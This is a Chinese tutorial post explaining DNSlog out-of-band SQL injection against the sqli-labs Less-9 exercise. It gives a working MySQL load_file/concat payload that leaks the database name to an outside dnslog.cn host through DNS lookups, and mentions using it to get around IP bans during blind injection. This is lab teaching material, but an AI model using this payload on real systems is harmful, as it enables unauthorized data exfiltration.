大家好,欢迎来到IT知识分享网。
跟报错注入有异曲同工之处
报错注入是从返回的错误报告中获取得到的数据,而DNSlog是记录查询的记录获取信息。
http://127.0.0.1:88/Less-9/?id=1’ and (select load_file (concat(‘\\’,(select database()),‘.4dxa8g.dnslog.cn\xxx.txt’)))–+
报错利用是updatexml函数,而DNSlog是用的loadfile函数
那么有意思的来了,loadfile会会去网上读取文件。
我们不妨翻译一下下面的语句
concat('\\\\',(select database()),'.4dxa8g.dnslog.cn\\xxx.txt'))
concat是拼接函数,主要的是database()这个函数,会返回当前表的名称,我们加上Hello为当前表的名称.
后面的网址是DNSlog随机网址,一会实践将会更换.
最后的xxx.txt则是文件的名称,不用管有没有,就是意思一下
有两个\就会被转义为单个\
那么这句话会被转义为
\\hello.4dxa8g.dnslog.cn\xxx.txt
我们先来个简单的实践,看看DNSlog是否真的记得住
我们先去(www.dnslog.cn)去得到一个域名
然后我们把上面得到的语言改一下
\\hello.om7svv.dnslog.cn\xxx.txt
好了,打开浏览器试一下
没有文件,很正常
返回DNSlog看一下
好了,让我们进入实战
本教程基于Less-9实践(在虚拟机上试一下,在云服务器上似乎会被哪里给挡住了)
先去DNSlog获得域名
再将上面的语句中的域名改为得到的域名
?id=1’ and (select load_file (concat(‘\\’,(select database()),‘.要改的域名,前面的点必须保留\xxx.txt’)))–+
运行返回DNSlog查得到的结果
这便是DNSlog回显的方式了
我们在什么情况下使用回显呢?
- 在用时间盲注和布尔盲注时,达到一定限制封锁ip的情况(比方说sqlmap进行,然后封锁ip)
- 懒得用时间盲注和布尔盲注
如果没有正常回显结果,那么就有可能是权限不足,需要在my.ini中加入一下语句
secure_file_priv=“”
免责声明:本站所有文章内容,图片,视频等均是来源于用户投稿和互联网及文摘转载整编而成,不代表本站观点,不承担相关法律责任。其著作权各归其原作者或其出版社所有。如发现本站有涉嫌抄袭侵权/违法违规的内容,侵犯到您的权益,请在线联系站长,一经查实,本站将立刻删除。 本文来自网络,若有侵权,请联系删除,如若转载,请注明出处:https://yundeesoft.com/20863.html